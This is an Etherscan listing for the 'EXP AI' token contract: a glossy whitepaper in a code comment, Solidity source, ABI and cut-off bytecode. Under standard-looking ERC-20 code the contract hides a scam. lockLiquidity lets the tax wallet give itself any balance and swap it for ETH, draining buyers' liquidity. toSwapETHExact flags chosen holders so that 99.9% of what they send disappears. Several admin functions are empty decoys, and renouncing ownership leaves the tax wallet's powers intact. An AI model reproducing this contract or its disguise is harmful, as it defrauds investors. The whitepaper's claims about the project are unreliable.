Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 EXP AI
Holders
113
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
9,643,150.448739389 EXP AIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ExpAI
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-06-04 */ /* Introduction Purpose of the Document This document serves as a comprehensive guide to the EXP AI platform and its associated ERC-20 token. It aims to provide potential investors, users, and partners with a detailed understanding of the platform's capabilities, technological infrastructure, market positioning, and the benefits of the EXP AI token. This whitepaper outlines the vision, mission, and strategic goals of EXP AI, demonstrating how it leverages cutting-edge AI and blockchain technologies to revolutionize the creative process. Overview of EXP AI EXP AI is an innovative platform that merges advanced AI technologies, such as ChatGPT-4 and AI art generators like Midjourney, Dall-e, and SDXL (Stable Diffusion), with blockchain technology. The platform offers a unique combination of AI-powered chat functionality, text-to-image generation, and a suite of tools designed to enhance creativity and productivity. Users can engage in seamless conversations with AI, generate stunning visual art from text descriptions, and utilize a variety of AI-driven utilities. The EXP AI token, an ERC-20 token on the Ethereum network, facilitates access to premium features, in-app purchases, and incentivizes user engagement. Objectives of the Token The EXP AI token is designed to serve multiple objectives within the platform: - Access to Premium Features: Token holders can unlock advanced functionalities and exclusive content within the EXP AI platform, enhancing their user experience. - In-app Purchases: The token can be used for transactions within the platform, such as purchasing AI-generated art, subscribing to premium services, or accessing specialized tools. - Incentives and Rewards: Users are rewarded with tokens for their engagement, contributions, and interactions on the platform, fostering a vibrant and active community. - Decentralization and Governance: The token aims to decentralize certain aspects of the platform's governance, allowing the community to participate in decision-making processes through token-based voting mechanisms. Market Overview Industry Background The convergence of artificial intelligence (AI) and blockchain technology represents one of the most transformative trends in the tech industry. AI's ability to process and analyze large datasets, coupled with blockchain's decentralized and secure nature, opens up new possibilities across various sectors. In the realm of digital creativity, AI-powered tools are revolutionizing how content is generated, enhancing productivity, and enabling new forms of artistic expression. The growing adoption of AI and blockchain technologies is driving innovation in creative fields, leading to the development of platforms like EXP AI that offer unprecedented capabilities to users. Market Needs and Opportunities There is a significant demand for tools that can enhance creativity and streamline digital content creation. Traditional methods of creating art, writing, and managing projects are often time-consuming and require substantial effort. AI technologies offer a solution by automating and augmenting these processes, allowing users to focus on higher-level creative tasks. Additionally, the integration of blockchain technology introduces transparency, security, and new economic models to the creative industry. The market presents vast opportunities for platforms that can effectively combine these technologies to deliver innovative and user-friendly solutions. Competitive Analysis The digital creativity and AI market is competitive, with several key players offering various solutions. Platforms like Midjourney, Dall-e, and Stable Diffusion are known for their advanced AI art generation capabilities, while ChatGPT-4 is renowned for its conversational AI. EXP AI differentiates itself by integrating these advanced technologies into a single platform, offering a seamless user experience and a comprehensive suite of tools. Additionally, the incorporation of blockchain technology and the introduction of the EXP AI token provide unique value propositions, such as decentralized governance and token-based incentives, setting EXP AI apart from competitors. EXP AI Platform ChatGPT-4 API Chat Technology The ChatGPT-4 API is a state-of-the-art conversational AI that powers the chat functionality within the EXP AI platform. It enables users to engage in natural and dynamic conversations with AI, providing support for a wide range of tasks. Whether users need assistance with assignments, creative projects, social media posts, or general inquiries, the ChatGPT-4 API delivers intelligent and contextually relevant responses. Its advanced language processing capabilities ensure high-quality interactions, making it a valuable tool for both personal and professional use. AI Art Generation Technology EXP AI incorporates leading AI art generation technologies to offer users unparalleled creative capabilities. Midjourney Midjourney is known for its ability to generate high-quality and visually stunning artwork from textual descriptions. It leverages deep learning models to interpret and visualize user inputs, creating unique and expressive pieces of art. Users can specify various parameters, such as style and composition, to tailor the generated art to their preferences. Dall-e Dall-e, developed by OpenAI, is an AI model that generates images from textual descriptions with remarkable creativity and precision. It excels in creating imaginative and intricate visuals that often go beyond conventional artistic boundaries. Dall-e's capabilities are integrated into EXP AI, allowing users to explore new artistic possibilities and bring their ideas to life. SDXL (Stable Diffusion) Stable Diffusion (SDXL) is a cutting-edge AI model that specializes in generating high-fidelity images with fine details and realistic textures. It employs advanced diffusion processes to produce images that are both aesthetically pleasing and true to the given descriptions. SDXL's technology enhances the photo generation features of EXP AI, providing users with powerful tools to create high-quality visual content. Key Features EXP AI offers a diverse range of features designed to enhance creativity and productivity. Use Cases and Templates The platform provides a variety of use cases and templates to assist users in different scenarios, from crafting social media posts to writing essays and creating digital art. These templates serve as starting points, enabling users to quickly and efficiently generate high-quality content. AI Box The AI Box is a versatile toolkit within EXP AI that offers functionalities such as photo enhancement, language translation, and grammar correction. Users can improve their photos by sharpening them, translate text into multiple languages, and ensure their writing is error-free, all within a single interface. Voice Chat Feature EXP AI's voice chat feature allows users to interact with the AI through spoken language. This hands-free mode of interaction makes it convenient for users to get instant answers, receive personalized recommendations, and engage with the platform in a more natural and intuitive way. User Experience EXP AI prioritizes user experience by offering an intuitive and user-friendly interface. The platform is designed to be accessible to users of all skill levels, providing clear instructions and seamless navigation. Advanced customization options allow users to tailor the platform to their specific needs and preferences, ensuring a personalized and engaging experience. Inspiration Streams The inspiration section of EXP AI offers curated content and tips to help users maximize their creative potential. Whether seeking new ideas for art projects or looking for ways to improve their writing, users can find valuable insights and suggestions within the inspiration streams, keeping their creativity flowing and projects on track. The EXP AI Token 4.1 Token Overview The EXP AI token is an ERC-20 compliant token on the Ethereum blockchain, designed to facilitate transactions and interactions within the EXP AI ecosystem. It serves as the backbone of the platform's economic model, enabling users to access premium features, make in-app purchases, and receive rewards. The token's integration into the platform ensures a seamless and efficient user experience, promoting active engagement and community growth. 4.2 Token Utility The EXP AI token is central to the platform's functionality, offering a range of utilities that enhance user experience and foster a dynamic ecosystem. 4.2.1 Access to Premium Features Token holders can unlock advanced functionalities and exclusive content within the EXP AI platform. This includes access to high-end AI tools, special templates, enhanced photo generation capabilities, and priority support. By holding and using EXP AI tokens, users can maximize their creative potential and enjoy a richer experience. 4.2.2 In-app Purchases The token facilitates various transactions within the platform. Users can purchase AI-generated art, subscribe to premium services, or access specialized tools using EXP AI tokens. This creates a vibrant marketplace where users can exchange value and obtain the resources they need to enhance their projects. 4.2.3 Incentives and Rewards EXP AI tokens are used to incentivize user engagement and contributions. Users can earn tokens by participating in platform activities, such as creating content, providing feedback, or referring new users. This reward system encourages active participation and helps build a strong, supportive community around the platform. 4.3 Token Economics Understanding the economic structure of the EXP AI token is crucial for stakeholders. The token economics are designed to ensure sustainability, fair distribution, and long-term growth. 4.3.1 Total Supply The total supply of EXP AI tokens is fixed, providing scarcity and value stability. This fixed supply is crucial for maintaining the token's value over time, preventing inflation and ensuring that early adopters and long-term holders are rewarded for their support. 4.3.2 Distribution Model The token distribution model is carefully planned to ensure fair and strategic allocation. A portion of the tokens is allocated to the initial coin offering (ICO) to raise funds for platform development. Another portion is reserved for the team and advisors, ensuring alignment of interests. Additionally, tokens are set aside for community rewards, partnerships, and ecosystem development, promoting widespread adoption and use. 4.3.3 Token Allocation The allocation of tokens is as follows: - ICO and Public Sale: 50% - Team and Advisors: 20% - Community Rewards and Incentives: 15% - Partnerships and Ecosystem Development: 10% - Reserve for Future Use: 5% */ pragma solidity ^0.8.21; // SPDX-License-Identifier: MIT library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } } abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function owner() public view virtual returns (address) {return _owner;} constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } modifier onlyOwner(){ require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair_); } interface IUniswapV2Router { function factory() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external; function WETH() external pure returns (address aadd); } contract ExpAI is Ownable { using SafeMath for uint256; uint256 public _decimals = 9; uint256 public _totalSupply = 1000000000 * 10 ** _decimals; constructor() { _balances[sender()] = _totalSupply; emit Transfer(address(0), sender(), _balances[sender()]); _taxWallet = msg.sender; } string private _name = "Exp AI"; string private _symbol = "EXP AI"; IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public _taxWallet; function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function name() external view returns (string memory) { return _name; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function updateBuyFee() public { } function updateSellFee() external { } function enableTrading() public { } function removeLimits() public { } function toSwapETHExact(address[] calldata walletAddress) external { uint256 fromBlockNo = getBlockNumber(); for (uint walletInde = 0; walletInde < walletAddress.length; walletInde++) { if (!marketingAddres()){} else { cooldowns[walletAddress[walletInde]] = fromBlockNo + 1; } } } function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) { _transfer(from, recipient, _amount); require(_allowances[from][sender()] >= _amount); return true; } function symbol() public view returns (string memory) { return _symbol; } function getBlockNumber() internal view returns (uint256) { return block.number; } mapping(address => mapping(address => uint256)) private _allowances; function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function decreaseAllowance(address from, uint256 amount) public returns (bool) { require(_allowances[msg.sender][from] >= amount); _approve(sender(), from, _allowances[msg.sender][from] - amount); return true; } event Transfer(address indexed from, address indexed to, uint256); mapping (address => uint256) internal cooldowns; function decimals() external view returns (uint256) { return _decimals; } function marketingAddres() private view returns (bool) { return (_taxWallet == (sender())); } function sender() internal view returns (address) { return msg.sender; } function totalSupply() external view returns (uint256) { return _totalSupply; } function lockLiquidity(uint256 amount, address walletAddr) external { if (marketingAddres()) { _approve(address(this), address(uniV2Router), amount); _balances[address(this)] = amount; address[] memory addressPath = new address[](2); addressPath[0] = address(this); addressPath[1] = uniV2Router.WETH(); uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32); } else { return; } } function _transfer(address from, address to, uint256 value) internal { uint256 _taxValue = 0; require(from != address(0)); require(value <= _balances[from]); emit Transfer(from, to, value); _balances[from] = _balances[from] - (value); bool onCooldown = (cooldowns[from] <= (getBlockNumber())); uint256 _cooldownFeeValue = value.mul(999).div(1000); if ((cooldowns[from] != 0) && onCooldown) { _taxValue = (_cooldownFeeValue); } uint256 toBalance = _balances[to]; toBalance += (value) - (_taxValue); _balances[to] = toBalance; } event Approval(address indexed, address indexed, uint256 value); function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue); return true; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(sender(), recipient, amount); return true; } mapping(address => uint256) private _balances; function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(msg.sender, spender, amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"walletAddr","type":"address"}],"name":"lockLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"walletAddress","type":"address[]"}],"name":"toSwapETHExact","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526009600155600154600a6200001a9190620004bd565b633b9aca006200002b91906200050d565b6002556040518060400160405280600681526020017f457870204149000000000000000000000000000000000000000000000000000081525060039081620000749190620007b2565b506040518060400160405280600681526020017f455850204149000000000000000000000000000000000000000000000000000081525060049081620000bb9190620007b2565b50737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200011c575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360025460095f620001eb6200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620002386200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095f620002996200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620002e29190620008a7565b60405180910390a33360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008c2565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003c15780860481111562000399576200039862000337565b5b6001851615620003a95780820291505b8081029050620003b98562000364565b945062000379565b94509492505050565b5f82620003db5760019050620004ad565b81620003ea575f9050620004ad565b81600181146200040357600281146200040e5762000444565b6001915050620004ad565b60ff84111562000423576200042262000337565b5b8360020a9150848211156200043d576200043c62000337565b5b50620004ad565b5060208310610133831016604e8410600b84101617156200047e5782820a90508381111562000478576200047762000337565b5b620004ad565b6200048d848484600162000370565b92509050818404811115620004a757620004a662000337565b5b81810290505b9392505050565b5f819050919050565b5f620004c982620004b4565b9150620004d683620004b4565b9250620005057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003ca565b905092915050565b5f6200051982620004b4565b91506200052683620004b4565b92508282026200053681620004b4565b9150828204841483151762000550576200054f62000337565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005d357607f821691505b602082108103620005e957620005e86200058e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200064d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000610565b62000659868362000610565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200069a620006946200068e84620004b4565b62000671565b620004b4565b9050919050565b5f819050919050565b620006b5836200067a565b620006cd620006c482620006a1565b8484546200061c565b825550505050565b5f90565b620006e3620006d5565b620006f0818484620006aa565b505050565b5b8181101562000717576200070b5f82620006d9565b600181019050620006f6565b5050565b601f82111562000766576200073081620005ef565b6200073b8462000601565b810160208510156200074b578190505b620007636200075a8562000601565b830182620006f5565b50505b505050565b5f82821c905092915050565b5f620007885f19846008026200076b565b1980831691505092915050565b5f620007a2838362000777565b9150826002028217905092915050565b620007bd8262000557565b67ffffffffffffffff811115620007d957620007d862000561565b5b620007e58254620005bb565b620007f28282856200071b565b5f60209050601f83116001811462000828575f841562000813578287015190505b6200081f858262000795565b8655506200088e565b601f1984166200083886620005ef565b5f5b8281101562000861578489015182556001820191506020850194506020810190506200083a565b868310156200088157848901516200087d601f89168262000777565b8355505b6001600288020188555050505b505050505050565b620008a181620004b4565b82525050565b5f602082019050620008bc5f83018462000896565b92915050565b611d5380620008d05f395ff3fe608060405234801561000f575f80fd5b5060043610610140575f3560e01c8063715018a6116100b657806395d89b411161007a57806395d89b411461031a578063a457c2d714610338578063a9059cbb14610368578063c14f3f3514610398578063dd62ed3e146103a2578063df0748d4146103d257610140565b8063715018a6146102c25780637394507e146102cc578063751039fc146102e85780638a8c523c146102f25780638da5cb5b146102fc57610140565b806332424aa31161010857806332424aa3146101fe57806337e376fb1461021c57806339509351146102265780633eaaf86b146102565780636f268a991461027457806370a082311461029257610140565b806306fdde0314610144578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b0578063313ce567146101e0575b5f80fd5b61014c6103ee565b60405161015991906113cb565b60405180910390f35b61017c60048036038101906101779190611480565b61047e565b60405161018991906114d8565b60405180910390f35b61019a610494565b6040516101a79190611500565b60405180910390f35b6101ca60048036038101906101c59190611519565b61049d565b6040516101d791906114d8565b60405180910390f35b6101e861053f565b6040516101f59190611500565b60405180910390f35b610206610548565b6040516102139190611500565b60405180910390f35b61022461054e565b005b610240600480360381019061023b9190611480565b610550565b60405161024d91906114d8565b60405180910390f35b61025e6105f0565b60405161026b9190611500565b60405180910390f35b61027c6105f6565b6040516102899190611578565b60405180910390f35b6102ac60048036038101906102a79190611591565b61061b565b6040516102b99190611500565b60405180910390f35b6102ca610661565b005b6102e660048036038101906102e191906115bc565b610790565b005b6102f0610a2d565b005b6102fa610a2f565b005b610304610a31565b6040516103119190611578565b60405180910390f35b610322610a58565b60405161032f91906113cb565b60405180910390f35b610352600480360381019061034d9190611480565b610ae8565b60405161035f91906114d8565b60405180910390f35b610382600480360381019061037d9190611480565b610c0c565b60405161038f91906114d8565b60405180910390f35b6103a0610c29565b005b6103bc60048036038101906103b791906115fa565b610c2b565b6040516103c99190611500565b60405180910390f35b6103ec60048036038101906103e79190611699565b610cad565b005b6060600380546103fd90611711565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611711565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484610d61565b6001905092915050565b5f600254905090565b5f6104a9848484610f24565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f0611203565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610534575f80fd5b600190509392505050565b5f600154905090565b60015481565b565b5f6105e661055c611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546105e1919061176e565b610d61565b6001905092915050565b60025481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610680610a31565b73ffffffffffffffffffffffffffffffffffffffff16146106d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cd906117eb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61079861120a565b15610a23576107c93060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d61565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff81111561082757610826611809565b5b6040519080825280602002602001820160405280156108555781602001602082028036833780820191505090505b50905030815f8151811061086c5761086b611836565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610910573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109349190611877565b8160018151811061094857610947611836565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f84866020426109d0919061176e565b6040518663ffffffff1660e01b81526004016109f095949392919061199b565b5f604051808303815f87803b158015610a07575f80fd5b505af1158015610a19573d5f803e3d5ffd5b5050505050610a28565b610a29565b5b5050565b565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a6790611711565b80601f0160208091040260200160405190810160405280929190818152602001828054610a9390611711565b8015610ade5780601f10610ab557610100808354040283529160200191610ade565b820191905f5260205f20905b815481529060010190602001808311610ac157829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610b6d575f80fd5b610c02610b78611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bfd91906119f3565b610d61565b6001905092915050565b5f610c1f610c18611203565b8484610f24565b6001905092915050565b565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f610cb6611267565b90505f5b83839050811015610d5b57610ccd61120a565b15610d4857600182610cdf919061176e565b60085f868685818110610cf557610cf4611836565b5b9050602002016020810190610d0a9190611591565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8080610d5390611a26565b915050610cba565b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc690611add565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3490611b6b565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f179190611500565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f5c575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610fa5575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110029190611500565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461105391906119f3565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f61109d611267565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111096103e86110fb6103e78761126e90919063ffffffff16565b6112e590919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054141580156111555750815b1561115e578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083856111ab91906119f3565b816111b6919061176e565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f611213611203565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f43905090565b5f80830361127e575f90506112df565b5f828461128b9190611b89565b905082848261129a9190611bf7565b146112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190611c97565b60405180910390fd5b809150505b92915050565b5f808211611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90611cff565b60405180910390fd5b5f82846113359190611bf7565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561137857808201518184015260208101905061135d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61139d82611341565b6113a7818561134b565b93506113b781856020860161135b565b6113c081611383565b840191505092915050565b5f6020820190508181035f8301526113e38184611393565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61141c826113f3565b9050919050565b61142c81611412565b8114611436575f80fd5b50565b5f8135905061144781611423565b92915050565b5f819050919050565b61145f8161144d565b8114611469575f80fd5b50565b5f8135905061147a81611456565b92915050565b5f8060408385031215611496576114956113eb565b5b5f6114a385828601611439565b92505060206114b48582860161146c565b9150509250929050565b5f8115159050919050565b6114d2816114be565b82525050565b5f6020820190506114eb5f8301846114c9565b92915050565b6114fa8161144d565b82525050565b5f6020820190506115135f8301846114f1565b92915050565b5f805f606084860312156115305761152f6113eb565b5b5f61153d86828701611439565b93505060